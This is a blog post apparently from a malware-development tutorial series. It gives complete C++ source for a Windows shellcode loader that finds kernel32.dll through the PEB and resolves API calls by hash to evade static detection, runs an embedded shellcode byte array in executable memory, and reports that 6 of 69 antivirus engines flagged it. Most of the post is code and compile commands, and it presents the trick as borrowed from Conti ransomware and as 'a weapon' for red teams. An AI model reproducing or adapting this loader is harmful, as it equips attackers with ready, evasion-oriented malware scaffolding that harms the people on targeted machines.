Malware development tricks. Find kernel32.dll base: asm style. C++ example.

5 minute read

﷽

Hello, cybersecurity enthusiasts and white hackers!

injection

This post is the result of my self research into interesting trick in real-life malware.

In the one of my previous posts I wrote about using GetModuleHandle. It is returns a handle a specified DLL. For example:

#include <windows.h>

LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

//...

int main() {
   DWORD oldprotect = 0;

   HMODULE hk32 = GetModuleHandle("kernel32.dll");
   pVirtualAlloc = GetProcAddress(hk32, "VirtualAlloc");

   //...

   return 0;
}

Then, the actual way to execute shellcode is something like this (meow.cpp):

#include <windows.h>

LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";


int main() {
  HMODULE hk32 = GetModuleHandle("kernel32.dll");
  pVirtualAlloc = GetProcAddress(hk32, "VirtualAlloc");
  PVOID lb = pVirtualAlloc(0, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  memcpy(lb, my_payload, sizeof(my_payload));
  HANDLE th = CreateThread(0, 0, (PTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
  WaitForSingleObject(th, -1);
}

So this code contains very basic logic for executing payload. In this case, for simplicity, it’s use “meow-meow” messagebox payload.

Let’s compile it:

x86_64-w64-mingw32-g++ meow.cpp -o meow.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

injection

and run:

injection

We used GetModuleHandle function to locate kernel32.dll in memory. It’s possible to go around this by finding library location in the PEB.

assembly way :)

In the one of the previous posts I wrote about TEB and PEB structures and I found kernel32 via asm. The following is obtained:

offset to the PEB struct is 0x030
offset to LDR within PEB is 0x00c
offset to InMemoryOrderModuleList is 0x014
1st loaded module is our .exe
2nd loaded module is ntdll.dll
3rd loaded module is kernel32.dll
4th loaded module is kernelbase.dll

Today I will consider x64 architecture. Offsets are different:

PEB address is located at an address relative to GS register: GS:[0x60]
offset to LDR within PEB is 0x18
kernel32.dll base address at 0x10

practical example

So:

static HMODULE getKernel32(DWORD myHash) {
  HMODULE kernel32;
  INT_PTR peb = __readgsqword(0x60);
  auto modList = 0x18;
  auto modListFlink = 0x18;
  auto kernelBaseAddr = 0x10;

  auto mdllist = *(INT_PTR*)(peb + modList);
  auto mlink = *(INT_PTR*)(mdllist + modListFlink);
  auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr);
  auto mdl = (LDR_MODULE*)mlink;
  do {
    mdl = (LDR_MODULE*)mdl->e[0].Flink;
    if (mdl->base != nullptr) {
      if (calcMyHashBase(mdl) == myHash) { // kernel32.dll hash
        break;
      }
    }
  } while (mlink != (INT_PTR)mdl);

  kernel32 = (HMODULE)mdl->base;
  return kernel32;
}

Then for finding GetProcAddress and GetModuleHandle I used my getAPIAddr function from my post:

static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
  PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
  PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
  PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
    (LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions);
  PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames);
  PWORD  fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals);

  for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
    LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

    if (calcMyHash(pFuncName) == myHash) {
      printf("successfully found! %s - %d\n", pFuncName, myHash);
      return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
    }
  }
  return nullptr;
}

And, respectively, the main() function logic is different:

int main() {
  HMODULE mod = getKernel32(56369259);
  fnGetModuleHandleA myGetModuleHandleA = (fnGetModuleHandleA)getAPIAddr(mod, 4038080516);
  fnGetProcAddress myGetProcAddress = (fnGetProcAddress)getAPIAddr(mod, 448915681);

  HMODULE hk32 = myGetModuleHandleA("kernel32.dll");
  fnVirtualAlloc myVirtualAlloc = (fnVirtualAlloc)myGetProcAddress(hk32, "VirtualAlloc");
  fnCreateThread myCreateThread = (fnCreateThread)myGetProcAddress(hk32, "CreateThread");
  fnWaitForSingleObject myWaitForSingleObject = (fnWaitForSingleObject)myGetProcAddress(hk32, "WaitForSingleObject");

  PVOID lb = myVirtualAlloc(0, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  memcpy(lb, my_payload, sizeof(my_payload));
  HANDLE th = myCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)lb, NULL, 0, NULL);
  myWaitForSingleObject(th, INFINITE);
}

As you can see, I used Win32 API call by hash trick.

Then full source code (hack.cpp) is:

/*
 * hack.cpp - find kernel32 from PEB, assembly style. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html
*/
#include <windows.h>
#include <stdio.h>

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} UNICODE_STRING;

struct LDR_MODULE {
  LIST_ENTRY e[3];
  HMODULE base;
  void* entry;
  UINT size;
  UNICODE_STRING dllPath;
  UNICODE_STRING dllname;
};

typedef HMODULE(WINAPI *fnGetModuleHandleA)(
  LPCSTR lpModuleName
);

typedef FARPROC(WINAPI *fnGetProcAddress)(
  HMODULE hModule,
  LPCSTR  lpProcName
);

typedef PVOID(WINAPI *fnVirtualAlloc)(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

typedef PVOID(WINAPI *fnCreateThread)(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID                  lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

typedef PVOID(WINAPI *fnWaitForSingleObject)(
  HANDLE hHandle,
  DWORD  dwMilliseconds
);

DWORD calcMyHash(char* data) {
  DWORD hash = 0x35;
  for (int i = 0; i < strlen(data); i++) {
    hash += data[i] + (hash << 1);
  }
  return hash;
}

static DWORD calcMyHashBase(LDR_MODULE* mdll) {
  char name[64];
  size_t i = 0;

  while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) {
    name[i] = (char)mdll->dllname.Buffer[i];
    i++;
  }
  name[i] = 0;
  return calcMyHash((char *)CharLowerA(name));
}

static HMODULE getKernel32(DWORD myHash) {
  HMODULE kernel32;
  INT_PTR peb = __readgsqword(0x60);
  auto modList = 0x18;
  auto modListFlink = 0x18;
  auto kernelBaseAddr = 0x10;

  auto mdllist = *(INT_PTR*)(peb + modList);
  auto mlink = *(INT_PTR*)(mdllist + modListFlink);
  auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr);
  auto mdl = (LDR_MODULE*)mlink;
  do {
    mdl = (LDR_MODULE*)mdl->e[0].Flink;
    if (mdl->base != nullptr) {
      if (calcMyHashBase(mdl) == myHash) { // kernel32.dll hash
        break;
      }
    }
  } while (mlink != (INT_PTR)mdl);

  kernel32 = (HMODULE)mdl->base;
  return kernel32;
}

static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
  PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
  PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
  PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
    (LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions);
  PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames);
  PWORD  fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals);

  for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
    LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

    if (calcMyHash(pFuncName) == myHash) {
      printf("successfully found! %s - %d\n", pFuncName, myHash);
      return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
    }
  }
  return nullptr;
}

unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main() {
  HMODULE mod = getKernel32(56369259);
  fnGetModuleHandleA myGetModuleHandleA = (fnGetModuleHandleA)getAPIAddr(mod, 4038080516);
  fnGetProcAddress myGetProcAddress = (fnGetProcAddress)getAPIAddr(mod, 448915681);

  HMODULE hk32 = myGetModuleHandleA("kernel32.dll");
  fnVirtualAlloc myVirtualAlloc = (fnVirtualAlloc)myGetProcAddress(hk32, "VirtualAlloc");
  fnCreateThread myCreateThread = (fnCreateThread)myGetProcAddress(hk32, "CreateThread");
  fnWaitForSingleObject myWaitForSingleObject = (fnWaitForSingleObject)myGetProcAddress(hk32, "WaitForSingleObject");

  PVOID lb = myVirtualAlloc(0, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  memcpy(lb, my_payload, sizeof(my_payload));
  HANDLE th = myCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)lb, NULL, 0, NULL);
  myWaitForSingleObject(th, INFINITE);
}

As you can see, I used the same hash algorithm.

demo

Let’s go to compile it:

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

injection

and run (on victim’s windows 10 x64 machine):

.\hack.exe

injection

As you can see, everything is worked perfectly :)

Let’s go to upload to VirusTotal:

https://www.virustotal.com/gui/file/0f5204336b3250fe2756b0a675013099be58f99a522e3e14161c1709275ec2d5/detection

So 6 of 69 AV engines detect our file as malicious

This tricks can be used to make the static analysis of our malware slightly harder, mainly focusing on PE format and common indicators.

I saw this trick in the source code of Conti ransomware

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

PEB structure
TEB structure
PEB_LDR_DATA structure
GetModuleHandleA
GetProcAddress
windows shellcoding - part 1
windows shellcoding - find kernel32
Conti ransomware source code
source code in Github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

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cocomelonc

Malware development tricks. Find kernel32.dll base: asm style. C++ example.

assembly way :)

practical example

demo

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